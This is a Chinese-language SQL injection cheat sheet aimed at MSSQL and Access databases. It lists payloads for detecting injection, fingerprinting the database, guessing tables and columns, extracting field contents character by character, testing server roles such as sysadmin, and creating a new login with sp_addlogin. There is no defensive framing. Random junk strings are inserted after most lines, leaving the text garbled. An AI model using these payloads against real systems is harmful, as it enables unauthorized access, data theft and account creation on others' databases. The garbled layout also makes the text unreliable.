1.判断是否有注入;and 1=1 ;and 1=2 u,~+ho@
2.初步判断是否是mssql ;and user>0 '1d0
*5+6k
&E@mCQ1
3.注入参数是字符'and [查询条件] and ''=' nN>Uh T
fT<3~Z>m
4.搜索时没过滤参数的'and [查询条件] and '%25'=' {;o54zuKf
[hqat'Vj,
5.判断数据库系统 n.,ZgLx["
ClufP6'
;and (select count(*) from sysobjects)>0 mssql ^c"\%!w"O
Psm9hP :m
;and (select count(*) from msysobjects)>0 access rLbFaLeQ
AP9\]qZ(7
ssmJ?sl
qj^A
6.猜数据库 ;and (select Count(*) from [数据库名])>0 w1
A-_
}IQ! [T5
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 [geT u
0|{":i_s
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1uzK(j8w
)-1$y+s>
9.(1)猜字段的ascii值(access) T,B%iZ gCh
QRF:6bAxsL
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 %v^qQWy=*
k"cKxzB
(2)猜字段的ascii值(mssql) G$~hAZ
3Q,p,
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 McN'J.Sxp
knWI7
10.测试权限结构(mssql) i6i;{\tc
&fnfuU$
RG/P]
,pW^>J
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- VotI5O $
\;+b1
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8:]5H}Hi
lg@q}
]1
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- syb$%
Q?'Ax"$D
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- p4K
8L'nZ
}@53*h i(
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- |+=ctpx9&
2O2d*Ld>
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- (unJwh{7Q
~\zIb/ #
;and 1=(select IS_MEMBER('db_owner'));-- _b
&Aa%
zeH=py[n
fJi?~[5<
.o8pC
11.添加mssql和系统的帐户 W61:$y}8
(e3?--~b6
;exec master.dbo.sp_addlogin username;-- `$/M\aM%
;exec master.dbo.sp_password null,username,password;-- [U7r>&